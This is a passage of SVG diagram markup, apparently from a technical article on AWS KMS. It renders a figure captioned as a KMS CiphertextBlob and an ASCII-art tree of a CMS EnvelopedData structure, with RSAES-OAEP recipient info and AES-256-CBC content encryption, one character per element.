<text text-anchor="middle" x="464" y="52" fill="currentColor">m</text>
<text text-anchor="middle" x="464" y="116" fill="currentColor">2</text>
<text text-anchor="middle" x="464" y="196" fill="currentColor">d</text>
<text text-anchor="middle" x="464" y="212" fill="currentColor">-</text>
<text text-anchor="middle" x="464" y="244" fill="currentColor">n</text>
<text text-anchor="middle" x="464" y="308" fill="currentColor">b</text>
<text text-anchor="middle" x="464" y="340" fill="currentColor">g</text>
<text text-anchor="middle" x="472" y="36" fill="currentColor">f</text>
<text text-anchor="middle" x="472" y="52" fill="currentColor">a</text>
<text text-anchor="middle" x="472" y="116" fill="currentColor">6</text>
<text text-anchor="middle" x="472" y="196" fill="currentColor">a</text>
<text text-anchor="middle" x="472" y="212" fill="currentColor">2</text>
<text text-anchor="middle" x="472" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="472" y="260" fill="currentColor">t</text>
<text text-anchor="middle" x="472" y="308" fill="currentColor">)</text>
<text text-anchor="middle" x="472" y="340" fill="currentColor">l</text>
<text text-anchor="middle" x="480" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="480" y="52" fill="currentColor">i</text>
<text text-anchor="middle" x="480" y="196" fill="currentColor">t</text>
<text text-anchor="middle" x="480" y="212" fill="currentColor">5</text>
<text text-anchor="middle" x="480" y="260" fill="currentColor">a</text>
<text text-anchor="middle" x="480" y="340" fill="currentColor">y</text>
<text text-anchor="middle" x="488" y="36" fill="currentColor">o</text>
<text text-anchor="middle" x="488" y="52" fill="currentColor">n</text>
<text text-anchor="middle" x="488" y="116" fill="currentColor">f</text>
<text text-anchor="middle" x="488" y="196" fill="currentColor">a</text>
<text text-anchor="middle" x="488" y="212" fill="currentColor">6</text>
<text text-anchor="middle" x="488" y="244" fill="currentColor">o</text>
<text text-anchor="middle" x="488" y="260" fill="currentColor">g</text>
<text text-anchor="middle" x="496" y="36" fill="currentColor">m</text>
<text text-anchor="middle" x="496" y="116" fill="currentColor">o</text>
<text text-anchor="middle" x="496" y="196" fill="currentColor">)</text>
<text text-anchor="middle" x="496" y="212" fill="currentColor">-</text>
<text text-anchor="middle" x="496" y="244" fill="currentColor">f</text>
<text text-anchor="middle" x="496" y="260" fill="currentColor">)</text>
<text text-anchor="middle" x="496" y="340" fill="currentColor">l</text>
<text text-anchor="middle" x="504" y="52" fill="currentColor">k</text>
<text text-anchor="middle" x="504" y="116" fill="currentColor">r</text>
<text text-anchor="middle" x="504" y="212" fill="currentColor">g</text>
<text text-anchor="middle" x="504" y="340" fill="currentColor">a</text>
<text text-anchor="middle" x="512" y="36" fill="currentColor">H</text>
<text text-anchor="middle" x="512" y="52" fill="currentColor">e</text>
<text text-anchor="middle" x="512" y="212" fill="currentColor">c</text>
<text text-anchor="middle" x="512" y="244" fill="currentColor">N</text>
<text text-anchor="middle" x="512" y="340" fill="currentColor">r</text>
<text text-anchor="middle" x="520" y="36" fill="currentColor">B</text>
<text text-anchor="middle" x="520" y="52" fill="currentColor">y</text>
<text text-anchor="middle" x="520" y="116" fill="currentColor">A</text>
<text text-anchor="middle" x="520" y="212" fill="currentColor">m</text>
<text text-anchor="middle" x="520" y="244" fill="currentColor">)</text>
<text text-anchor="middle" x="520" y="340" fill="currentColor">g</text>
<text text-anchor="middle" x="528" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="528" y="116" fill="currentColor">E</text>
<text text-anchor="middle" x="528" y="212" fill="currentColor">)</text>
<text text-anchor="middle" x="528" y="340" fill="currentColor">e</text>
<text text-anchor="middle" x="536" y="36" fill="currentColor">/</text>
<text text-anchor="middle" x="536" y="52" fill="currentColor">c</text>
<text text-anchor="middle" x="536" y="116" fill="currentColor">S</text>
<text text-anchor="middle" x="536" y="340" fill="currentColor">r</text>
<text text-anchor="middle" x="544" y="36" fill="currentColor">A</text>
<text text-anchor="middle" x="544" y="52" fill="currentColor">o</text>
<text text-anchor="middle" x="544" y="116" fill="currentColor">-</text>
<text text-anchor="middle" x="552" y="36" fill="currentColor">R</text>
<text text-anchor="middle" x="552" y="52" fill="currentColor">m</text>
<text text-anchor="middle" x="552" y="116" fill="currentColor">2</text>
<text text-anchor="middle" x="560" y="36" fill="currentColor">N</text>
<text text-anchor="middle" x="560" y="52" fill="currentColor">p</text>
<text text-anchor="middle" x="560" y="116" fill="currentColor">5</text>
<text text-anchor="middle" x="568" y="36" fill="currentColor">/</text>
<text text-anchor="middle" x="568" y="52" fill="currentColor">o</text>
<text text-anchor="middle" x="568" y="116" fill="currentColor">6</text>
<text text-anchor="middle" x="576" y="36" fill="currentColor">U</text>
<text text-anchor="middle" x="576" y="52" fill="currentColor">n</text>
<text text-anchor="middle" x="584" y="36" fill="currentColor">U</text>
<text text-anchor="middle" x="584" y="52" fill="currentColor">e</text>
<text text-anchor="middle" x="584" y="116" fill="currentColor">d</text>
<text text-anchor="middle" x="592" y="36" fill="currentColor">I</text>
<text text-anchor="middle" x="592" y="52" fill="currentColor">n</text>
<text text-anchor="middle" x="592" y="116" fill="currentColor">k</text>
<text text-anchor="middle" x="600" y="36" fill="currentColor">D</text>
<text text-anchor="middle" x="600" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="600" y="116" fill="currentColor">)</text>
<text text-anchor="middle" x="608" y="52" fill="currentColor">s</text>
<text text-anchor="middle" x="616" y="52" fill="currentColor">)</text>
</g>

 </svg>
 
</div>
<figcaption><span>Figure 12: KMS CiphertextBlob. One cannot decrypt its content manually because the KDF label is not public. HBKID is mapped to CMK ARN internally.</span></figcaption></figure>

<figure>
<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 600 361">
 <g transform="translate(8,16)">
<text text-anchor="middle" x="0" y="4" fill="currentColor">C</text>
<text text-anchor="middle" x="0" y="20" fill="currentColor">O</text>
<text text-anchor="middle" x="0" y="36" fill="currentColor">├</text>
<text text-anchor="middle" x="0" y="52" fill="currentColor">├</text>
<text text-anchor="middle" x="0" y="68" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="84" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="100" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="116" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="132" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="148" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="164" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="180" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="196" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="212" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="228" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="244" fill="currentColor">│</text>
<text text-anchor="middle" x="0" y="260" fill="currentColor">└</text>
<text text-anchor="middle" x="8" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="8" y="20" fill="currentColor">I</text>
<text text-anchor="middle" x="8" y="36" fill="currentColor">─</text>
<text text-anchor="middle" x="8" y="52" fill="currentColor">─</text>
<text text-anchor="middle" x="8" y="260" fill="currentColor">─</text>
<text text-anchor="middle" x="16" y="4" fill="currentColor">S</text>
<text text-anchor="middle" x="16" y="20" fill="currentColor">D</text>
<text text-anchor="middle" x="16" y="36" fill="currentColor">─</text>
<text text-anchor="middle" x="16" y="52" fill="currentColor">─</text>
<text text-anchor="middle" x="16" y="260" fill="currentColor">─</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="32" y="20" fill="currentColor">1</text>
<text text-anchor="middle" x="32" y="36" fill="currentColor">v</text>
<text text-anchor="middle" x="32" y="52" fill="currentColor">r</text>
<text text-anchor="middle" x="32" y="68" fill="currentColor">└</text>
<text text-anchor="middle" x="32" y="260" fill="currentColor">e</text>
<text text-anchor="middle" x="32" y="276" fill="currentColor">├</text>
<text text-anchor="middle" x="32" y="292" fill="currentColor">├</text>
<text text-anchor="middle" x="32" y="308" fill="currentColor">│</text>
<text text-anchor="middle" x="32" y="324" fill="currentColor">└</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="40" y="20" fill="currentColor">.</text>
<text text-anchor="middle" x="40" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="40" y="52" fill="currentColor">e</text>
<text text-anchor="middle" x="40" y="68" fill="currentColor">─</text>
<text text-anchor="middle" x="40" y="260" fill="currentColor">n</text>
<text text-anchor="middle" x="40" y="276" fill="currentColor">─</text>
<text text-anchor="middle" x="40" y="292" fill="currentColor">─</text>
<text text-anchor="middle" x="40" y="324" fill="currentColor">─</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="48" y="20" fill="currentColor">2</text>
<text text-anchor="middle" x="48" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="48" y="52" fill="currentColor">c</text>
<text text-anchor="middle" x="48" y="68" fill="currentColor">─</text>
<text text-anchor="middle" x="48" y="260" fill="currentColor">c</text>
<text text-anchor="middle" x="48" y="276" fill="currentColor">─</text>
<text text-anchor="middle" x="48" y="292" fill="currentColor">─</text>
<text text-anchor="middle" x="48" y="324" fill="currentColor">─</text>
<text text-anchor="middle" x="56" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="56" y="20" fill="currentColor">.</text>
<text text-anchor="middle" x="56" y="36" fill="currentColor">s</text>
<text text-anchor="middle" x="56" y="52" fill="currentColor">i</text>
<text text-anchor="middle" x="56" y="260" fill="currentColor">r</text>
<text text-anchor="middle" x="64" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="64" y="20" fill="currentColor">8</text>
<text text-anchor="middle" x="64" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="64" y="52" fill="currentColor">p</text>
<text text-anchor="middle" x="64" y="68" fill="currentColor">K</text>
<text text-anchor="middle" x="64" y="84" fill="currentColor">├</text>
<text text-anchor="middle" x="64" y="100" fill="currentColor">├</text>
<text text-anchor="middle" x="64" y="116" fill="currentColor">│</text>
<text text-anchor="middle" x="64" y="132" fill="currentColor">├</text>
<text text-anchor="middle" x="64" y="148" fill="currentColor">│</text>
<text text-anchor="middle" x="64" y="164" fill="currentColor">│</text>
<text text-anchor="middle" x="64" y="180" fill="currentColor">│</text>
<text text-anchor="middle" x="64" y="196" fill="currentColor">│</text>
<text text-anchor="middle" x="64" y="212" fill="currentColor">└</text>
<text text-anchor="middle" x="64" y="260" fill="currentColor">y</text>
<text text-anchor="middle" x="64" y="276" fill="currentColor">c</text>
<text text-anchor="middle" x="64" y="292" fill="currentColor">a</text>
<text text-anchor="middle" x="64" y="308" fill="currentColor">└</text>
<text text-anchor="middle" x="64" y="324" fill="currentColor">[</text>
<text text-anchor="middle" x="64" y="340" fill="currentColor">└</text>
<text text-anchor="middle" x="72" y="4" fill="currentColor">o</text>
<text text-anchor="middle" x="72" y="20" fill="currentColor">4</text>
<text text-anchor="middle" x="72" y="36" fill="currentColor">o</text>
<text text-anchor="middle" x="72" y="52" fill="currentColor">i</text>
<text text-anchor="middle" x="72" y="68" fill="currentColor">e</text>
<text text-anchor="middle" x="72" y="84" fill="currentColor">─</text>
<text text-anchor="middle" x="72" y="100" fill="currentColor">─</text>
<text text-anchor="middle" x="72" y="132" fill="currentColor">─</text>
<text text-anchor="middle" x="72" y="212" fill="currentColor">─</text>
<text text-anchor="middle" x="72" y="260" fill="currentColor">p</text>
<text text-anchor="middle" x="72" y="276" fill="currentColor">o</text>
<text text-anchor="middle" x="72" y="292" fill="currentColor">l</text>
<text text-anchor="middle" x="72" y="308" fill="currentColor">─</text>
<text text-anchor="middle" x="72" y="324" fill="currentColor">0</text>
<text text-anchor="middle" x="72" y="340" fill="currentColor">─</text>
<text text-anchor="middle" x="80" y="4" fill="currentColor">p</text>
<text text-anchor="middle" x="80" y="20" fill="currentColor">0</text>
<text text-anchor="middle" x="80" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="80" y="52" fill="currentColor">e</text>
<text text-anchor="middle" x="80" y="68" fill="currentColor">y</text>
<text text-anchor="middle" x="80" y="84" fill="currentColor">─</text>
<text text-anchor="middle" x="80" y="100" fill="currentColor">─</text>
<text text-anchor="middle" x="80" y="132" fill="currentColor">─</text>
<text text-anchor="middle" x="80" y="212" fill="currentColor">─</text>
<text text-anchor="middle" x="80" y="260" fill="currentColor">t</text>
<text text-anchor="middle" x="80" y="276" fill="currentColor">n</text>
<text text-anchor="middle" x="80" y="292" fill="currentColor">g</text>
<text text-anchor="middle" x="80" y="308" fill="currentColor">─</text>
<text text-anchor="middle" x="80" y="324" fill="currentColor">]</text>
<text text-anchor="middle" x="80" y="340" fill="currentColor">─</text>
<text text-anchor="middle" x="88" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="88" y="20" fill="currentColor">.</text>
<text text-anchor="middle" x="88" y="36" fill="currentColor">:</text>
<text text-anchor="middle" x="88" y="52" fill="currentColor">n</text>
<text text-anchor="middle" x="88" y="68" fill="currentColor">T</text>
<text text-anchor="middle" x="88" y="260" fill="currentColor">e</text>
<text text-anchor="middle" x="88" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="88" y="292" fill="currentColor">o</text>
<text text-anchor="middle" x="96" y="4" fill="currentColor">d</text>
<text text-anchor="middle" x="96" y="20" fill="currentColor">1</text>
<text text-anchor="middle" x="96" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="96" y="68" fill="currentColor">r</text>
<text text-anchor="middle" x="96" y="84" fill="currentColor">v</text>
<text text-anchor="middle" x="96" y="100" fill="currentColor">r</text>
<text text-anchor="middle" x="96" y="132" fill="currentColor">k</text>
<text text-anchor="middle" x="96" y="148" fill="currentColor">├</text>
<text text-anchor="middle" x="96" y="164" fill="currentColor">├</text>
<text text-anchor="middle" x="96" y="180" fill="currentColor">└</text>
<text text-anchor="middle" x="96" y="196" fill="currentColor">h</text>
<text text-anchor="middle" x="96" y="212" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="260" fill="currentColor">d</text>
<text text-anchor="middle" x="96" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="292" fill="currentColor">r</text>
<text text-anchor="middle" x="96" y="308" fill="currentColor">p</text>
<text text-anchor="middle" x="96" y="324" fill="currentColor">I</text>
<text text-anchor="middle" x="96" y="340" fill="currentColor">A</text>
<text text-anchor="middle" x="104" y="4" fill="currentColor">D</text>
<text text-anchor="middle" x="104" y="20" fill="currentColor">1</text>
<text text-anchor="middle" x="104" y="36" fill="currentColor">2</text>
<text text-anchor="middle" x="104" y="52" fill="currentColor">I</text>
<text text-anchor="middle" x="104" y="68" fill="currentColor">a</text>
<text text-anchor="middle" x="104" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="104" y="100" fill="currentColor">i</text>
<text text-anchor="middle" x="104" y="132" fill="currentColor">e</text>
<text text-anchor="middle" x="104" y="148" fill="currentColor">─</text>
<text text-anchor="middle" x="104" y="164" fill="currentColor">─</text>
<text text-anchor="middle" x="104" y="180" fill="currentColor">─</text>
<text text-anchor="middle" x="104" y="196" fill="currentColor">a</text>
<text text-anchor="middle" x="104" y="212" fill="currentColor">n</text>
<text text-anchor="middle" x="104" y="260" fill="currentColor">C</text>
<text text-anchor="middle" x="104" y="276" fill="currentColor">n</text>
<text text-anchor="middle" x="104" y="292" fill="currentColor">i</text>
<text text-anchor="middle" x="104" y="308" fill="currentColor">a</text>
<text text-anchor="middle" x="104" y="324" fill="currentColor">M</text>
<text text-anchor="middle" x="104" y="340" fill="currentColor">E</text>
<text text-anchor="middle" x="112" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="112" y="20" fill="currentColor">3</text>
<text text-anchor="middle" x="112" y="52" fill="currentColor">n</text>
<text text-anchor="middle" x="112" y="68" fill="currentColor">n</text>
<text text-anchor="middle" x="112" y="84" fill="currentColor">r</text>
<text text-anchor="middle" x="112" y="100" fill="currentColor">d</text>
<text text-anchor="middle" x="112" y="132" fill="currentColor">y</text>
<text text-anchor="middle" x="112" y="148" fill="currentColor">─</text>
<text text-anchor="middle" x="112" y="164" fill="currentColor">─</text>
<text text-anchor="middle" x="112" y="180" fill="currentColor">─</text>
<text text-anchor="middle" x="112" y="196" fill="currentColor">s</text>
<text text-anchor="middle" x="112" y="212" fill="currentColor">c</text>
<text text-anchor="middle" x="112" y="260" fill="currentColor">o</text>
<text text-anchor="middle" x="112" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="112" y="292" fill="currentColor">t</text>
<text text-anchor="middle" x="112" y="308" fill="currentColor">r</text>
<text text-anchor="middle" x="112" y="324" fill="currentColor">P</text>
<text text-anchor="middle" x="112" y="340" fill="currentColor">S</text>
<text text-anchor="middle" x="120" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="120" y="20" fill="currentColor">5</text>
<text text-anchor="middle" x="120" y="52" fill="currentColor">f</text>
<text text-anchor="middle" x="120" y="68" fill="currentColor">s</text>
<text text-anchor="middle" x="120" y="84" fill="currentColor">s</text>
<text text-anchor="middle" x="120" y="100" fill="currentColor">:</text>
<text text-anchor="middle" x="120" y="132" fill="currentColor">E</text>
<text text-anchor="middle" x="120" y="196" fill="currentColor">h</text>
<text text-anchor="middle" x="120" y="212" fill="currentColor">r</text>
<text text-anchor="middle" x="120" y="260" fill="currentColor">n</text>
<text text-anchor="middle" x="120" y="276" fill="currentColor">T</text>
<text text-anchor="middle" x="120" y="292" fill="currentColor">h</text>
<text text-anchor="middle" x="120" y="308" fill="currentColor">a</text>
<text text-anchor="middle" x="120" y="324" fill="currentColor">L</text>
<text text-anchor="middle" x="120" y="340" fill="currentColor">-</text>
<text text-anchor="middle" x="128" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="128" y="20" fill="currentColor">4</text>
<text text-anchor="middle" x="128" y="52" fill="currentColor">o</text>
<text text-anchor="middle" x="128" y="68" fill="currentColor">R</text>
<text text-anchor="middle" x="128" y="84" fill="currentColor">i</text>
<text text-anchor="middle" x="128" y="132" fill="currentColor">n</text>
<text text-anchor="middle" x="128" y="148" fill="currentColor">R</text>
<text text-anchor="middle" x="128" y="164" fill="currentColor">R</text>
<text text-anchor="middle" x="128" y="180" fill="currentColor">R</text>
<text text-anchor="middle" x="128" y="196" fill="currentColor">:</text>
<text text-anchor="middle" x="128" y="212" fill="currentColor">y</text>
<text text-anchor="middle" x="128" y="260" fill="currentColor">t</text>
<text text-anchor="middle" x="128" y="276" fill="currentColor">y</text>
<text text-anchor="middle" x="128" y="292" fill="currentColor">m</text>
<text text-anchor="middle" x="128" y="308" fill="currentColor">m</text>
<text text-anchor="middle" x="128" y="324" fill="currentColor">I</text>
<text text-anchor="middle" x="128" y="340" fill="currentColor">2</text>
<text text-anchor="middle" x="136" y="20" fill="currentColor">9</text>
<text text-anchor="middle" x="136" y="52" fill="currentColor">s</text>
<text text-anchor="middle" x="136" y="68" fill="currentColor">e</text>
<text text-anchor="middle" x="136" y="84" fill="currentColor">o</text>
<text text-anchor="middle" x="136" y="100" fill="currentColor">S</text>
<text text-anchor="middle" x="136" y="116" fill="currentColor">=</text>
<text text-anchor="middle" x="136" y="132" fill="currentColor">c</text>
<text text-anchor="middle" x="136" y="148" fill="currentColor">S</text>
<text text-anchor="middle" x="136" y="164" fill="currentColor">S</text>
<text text-anchor="middle" x="136" y="180" fill="currentColor">S</text>
<text text-anchor="middle" x="136" y="212" fill="currentColor">p</text>
<text text-anchor="middle" x="136" y="260" fill="currentColor">e</text>
<text text-anchor="middle" x="136" y="276" fill="currentColor">p</text>
<text text-anchor="middle" x="136" y="292" fill="currentColor">:</text>
<text text-anchor="middle" x="136" y="308" fill="currentColor">s</text>
<text text-anchor="middle" x="136" y="324" fill="currentColor">C</text>
<text text-anchor="middle" x="136" y="340" fill="currentColor">5</text>
<text text-anchor="middle" x="144" y="20" fill="currentColor">.</text>
<text text-anchor="middle" x="144" y="68" fill="currentColor">c</text>
<text text-anchor="middle" x="144" y="84" fill="currentColor">n</text>
<text text-anchor="middle" x="144" y="100" fill="currentColor">u</text>
<text text-anchor="middle" x="144" y="132" fill="currentColor">r</text>
<text text-anchor="middle" x="144" y="148" fill="currentColor">A</text>
<text text-anchor="middle" x="144" y="164" fill="currentColor">A</text>
<text text-anchor="middle" x="144" y="180" fill="currentColor">A</text>
<text text-anchor="middle" x="144" y="196" fill="currentColor">S</text>
<text text-anchor="middle" x="144" y="212" fill="currentColor">t</text>
<text text-anchor="middle" x="144" y="260" fill="currentColor">n</text>
<text text-anchor="middle" x="144" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="144" y="308" fill="currentColor">:</text>
<text text-anchor="middle" x="144" y="324" fill="currentColor">I</text>
<text text-anchor="middle" x="144" y="340" fill="currentColor">6</text>
<text text-anchor="middle" x="152" y="20" fill="currentColor">1</text>
<text text-anchor="middle" x="152" y="68" fill="currentColor">i</text>
<text text-anchor="middle" x="152" y="84" fill="currentColor">:</text>
<text text-anchor="middle" x="152" y="100" fill="currentColor">b</text>
<text text-anchor="middle" x="152" y="116" fill="currentColor">S</text>
<text text-anchor="middle" x="152" y="132" fill="currentColor">y</text>
<text text-anchor="middle" x="152" y="148" fill="currentColor">E</text>
<text text-anchor="middle" x="152" y="164" fill="currentColor">E</text>
<text text-anchor="middle" x="152" y="180" fill="currentColor">E</text>
<text text-anchor="middle" x="152" y="196" fill="currentColor">H</text>
<text text-anchor="middle" x="152" y="212" fill="currentColor">e</text>
<text text-anchor="middle" x="152" y="260" fill="currentColor">t</text>
<text text-anchor="middle" x="152" y="276" fill="currentColor">:</text>
<text text-anchor="middle" x="152" y="292" fill="currentColor">a</text>
<text text-anchor="middle" x="152" y="324" fill="currentColor">T</text>
<text text-anchor="middle" x="152" y="340" fill="currentColor">-</text>
<text text-anchor="middle" x="160" y="20" fill="currentColor">.</text>
<text text-anchor="middle" x="160" y="68" fill="currentColor">p</text>
<text text-anchor="middle" x="160" y="100" fill="currentColor">j</text>
<text text-anchor="middle" x="160" y="116" fill="currentColor">H</text>
<text text-anchor="middle" x="160" y="132" fill="currentColor">p</text>
<text text-anchor="middle" x="160" y="148" fill="currentColor">S</text>
<text text-anchor="middle" x="160" y="164" fill="currentColor">S</text>
<text text-anchor="middle" x="160" y="180" fill="currentColor">S</text>
<text text-anchor="middle" x="160" y="196" fill="currentColor">A</text>
<text text-anchor="middle" x="160" y="212" fill="currentColor">d</text>
<text text-anchor="middle" x="160" y="260" fill="currentColor">I</text>
<text text-anchor="middle" x="160" y="292" fill="currentColor">e</text>
<text text-anchor="middle" x="160" y="308" fill="currentColor">{</text>
<text text-anchor="middle" x="160" y="340" fill="currentColor">C</text>
<text text-anchor="middle" x="168" y="20" fill="currentColor">7</text>
<text text-anchor="middle" x="168" y="68" fill="currentColor">i</text>
<text text-anchor="middle" x="168" y="84" fill="currentColor">2</text>
<text text-anchor="middle" x="168" y="100" fill="currentColor">e</text>
<text text-anchor="middle" x="168" y="116" fill="currentColor">A</text>
<text text-anchor="middle" x="168" y="132" fill="currentColor">t</text>
<text text-anchor="middle" x="168" y="148" fill="currentColor">_</text>
<text text-anchor="middle" x="168" y="164" fill="currentColor">_</text>
<text text-anchor="middle" x="168" y="180" fill="currentColor">_</text>
<text text-anchor="middle" x="168" y="196" fill="currentColor">-</text>
<text text-anchor="middle" x="168" y="212" fill="currentColor">K</text>
<text text-anchor="middle" x="168" y="260" fill="currentColor">n</text>
<text text-anchor="middle" x="168" y="276" fill="currentColor">1</text>
<text text-anchor="middle" x="168" y="292" fill="currentColor">s</text>
<text text-anchor="middle" x="168" y="324" fill="currentColor">e</text>
<text text-anchor="middle" x="168" y="340" fill="currentColor">B</text>
<text text-anchor="middle" x="176" y="20" fill="currentColor">.</text>
<text text-anchor="middle" x="176" y="68" fill="currentColor">e</text>
<text text-anchor="middle" x="176" y="100" fill="currentColor">c</text>
<text text-anchor="middle" x="176" y="116" fill="currentColor">-</text>
<text text-anchor="middle" x="176" y="132" fill="currentColor">i</text>
<text text-anchor="middle" x="176" y="148" fill="currentColor">O</text>
<text text-anchor="middle" x="176" y="164" fill="currentColor">O</text>
<text text-anchor="middle" x="176" y="180" fill="currentColor">P</text>
<text text-anchor="middle" x="176" y="196" fill="currentColor">2</text>
<text text-anchor="middle" x="176" y="212" fill="currentColor">e</text>
<text text-anchor="middle" x="176" y="260" fill="currentColor">f</text>
<text text-anchor="middle" x="176" y="276" fill="currentColor">.</text>
<text text-anchor="middle" x="176" y="292" fill="currentColor">-</text>
<text text-anchor="middle" x="176" y="308" fill="currentColor">I</text>
<text text-anchor="middle" x="176" y="324" fill="currentColor">n</text>
<text text-anchor="middle" x="176" y="340" fill="currentColor">C</text>
<text text-anchor="middle" x="184" y="20" fill="currentColor">3</text>
<text text-anchor="middle" x="184" y="68" fill="currentColor">n</text>
<text text-anchor="middle" x="184" y="100" fill="currentColor">t</text>
<text text-anchor="middle" x="184" y="116" fill="currentColor">2</text>
<text text-anchor="middle" x="184" y="132" fill="currentColor">o</text>
<text text-anchor="middle" x="184" y="148" fill="currentColor">A</text>
<text text-anchor="middle" x="184" y="164" fill="currentColor">A</text>
<text text-anchor="middle" x="184" y="180" fill="currentColor">K</text>
<text text-anchor="middle" x="184" y="196" fill="currentColor">5</text>
<text text-anchor="middle" x="184" y="212" fill="currentColor">y</text>
<text text-anchor="middle" x="184" y="260" fill="currentColor">o</text>
<text text-anchor="middle" x="184" y="276" fill="currentColor">2</text>
<text text-anchor="middle" x="184" y="292" fill="currentColor">2</text>
<text text-anchor="middle" x="184" y="308" fill="currentColor">V</text>
<text text-anchor="middle" x="184" y="324" fill="currentColor">c</text>
<text text-anchor="middle" x="192" y="68" fill="currentColor">t</text>
<text text-anchor="middle" x="192" y="100" fill="currentColor">K</text>
<text text-anchor="middle" x="192" y="116" fill="currentColor">5</text>
<text text-anchor="middle" x="192" y="132" fill="currentColor">n</text>
<text text-anchor="middle" x="192" y="148" fill="currentColor">E</text>
<text text-anchor="middle" x="192" y="164" fill="currentColor">E</text>
<text text-anchor="middle" x="192" y="180" fill="currentColor">C</text>
<text text-anchor="middle" x="192" y="196" fill="currentColor">6</text>
<text text-anchor="middle" x="192" y="212" fill="currentColor">:</text>
<text text-anchor="middle" x="192" y="276" fill="currentColor">.</text>
<text text-anchor="middle" x="192" y="292" fill="currentColor">5</text>
<text text-anchor="middle" x="192" y="308" fill="currentColor">:</text>
<text text-anchor="middle" x="192" y="324" fill="currentColor">r</text>
<text text-anchor="middle" x="192" y="340" fill="currentColor">c</text>
<text text-anchor="middle" x="200" y="68" fill="currentColor">I</text>
<text text-anchor="middle" x="200" y="100" fill="currentColor">e</text>
<text text-anchor="middle" x="200" y="116" fill="currentColor">6</text>
<text text-anchor="middle" x="200" y="132" fill="currentColor">A</text>
<text text-anchor="middle" x="200" y="148" fill="currentColor">P</text>
<text text-anchor="middle" x="200" y="164" fill="currentColor">P</text>
<text text-anchor="middle" x="200" y="180" fill="currentColor">S</text>
<text text-anchor="middle" x="200" y="196" fill="currentColor">,</text>
<text text-anchor="middle" x="200" y="276" fill="currentColor">8</text>
<text text-anchor="middle" x="200" y="292" fill="currentColor">6</text>
<text text-anchor="middle" x="200" y="324" fill="currentColor">y</text>
<text text-anchor="middle" x="200" y="340" fill="currentColor">i</text>
<text text-anchor="middle" x="208" y="20" fill="currentColor">(</text>
<text text-anchor="middle" x="208" y="68" fill="currentColor">n</text>
<text text-anchor="middle" x="208" y="100" fill="currentColor">y</text>
<text text-anchor="middle" x="208" y="116" fill="currentColor">(</text>
<text text-anchor="middle" x="208" y="132" fill="currentColor">l</text>
<text text-anchor="middle" x="208" y="148" fill="currentColor">_</text>
<text text-anchor="middle" x="208" y="164" fill="currentColor">_</text>
<text text-anchor="middle" x="208" y="180" fill="currentColor">1</text>
<text text-anchor="middle" x="208" y="212" fill="currentColor">2</text>
<text text-anchor="middle" x="208" y="228" fill="currentColor">3</text>
<text text-anchor="middle" x="208" y="244" fill="currentColor">5</text>
<text text-anchor="middle" x="208" y="276" fill="currentColor">4</text>
<text text-anchor="middle" x="208" y="292" fill="currentColor">-</text>
<text text-anchor="middle" x="208" y="308" fill="currentColor">1</text>
<text text-anchor="middle" x="208" y="324" fill="currentColor">p</text>
<text text-anchor="middle" x="208" y="340" fill="currentColor">p</text>
<text text-anchor="middle" x="216" y="20" fill="currentColor">p</text>
<text text-anchor="middle" x="216" y="68" fill="currentColor">f</text>
<text text-anchor="middle" x="216" y="100" fill="currentColor">I</text>
<text text-anchor="middle" x="216" y="116" fill="currentColor">a</text>
<text text-anchor="middle" x="216" y="132" fill="currentColor">g</text>
<text text-anchor="middle" x="216" y="148" fill="currentColor">S</text>
<text text-anchor="middle" x="216" y="164" fill="currentColor">S</text>
<text text-anchor="middle" x="216" y="180" fill="currentColor">_</text>
<text text-anchor="middle" x="216" y="196" fill="currentColor">m</text>
<text text-anchor="middle" x="216" y="212" fill="currentColor">5</text>
<text text-anchor="middle" x="216" y="228" fill="currentColor">8</text>
<text text-anchor="middle" x="216" y="244" fill="currentColor">1</text>
<text text-anchor="middle" x="216" y="276" fill="currentColor">0</text>
<text text-anchor="middle" x="216" y="292" fill="currentColor">c</text>
<text text-anchor="middle" x="216" y="308" fill="currentColor">6</text>
<text text-anchor="middle" x="216" y="324" fill="currentColor">t</text>
<text text-anchor="middle" x="216" y="340" fill="currentColor">h</text>
<text text-anchor="middle" x="224" y="20" fill="currentColor">k</text>
<text text-anchor="middle" x="224" y="68" fill="currentColor">o</text>
<text text-anchor="middle" x="224" y="100" fill="currentColor">d</text>
<text text-anchor="middle" x="224" y="116" fill="currentColor">t</text>
<text text-anchor="middle" x="224" y="132" fill="currentColor">o</text>
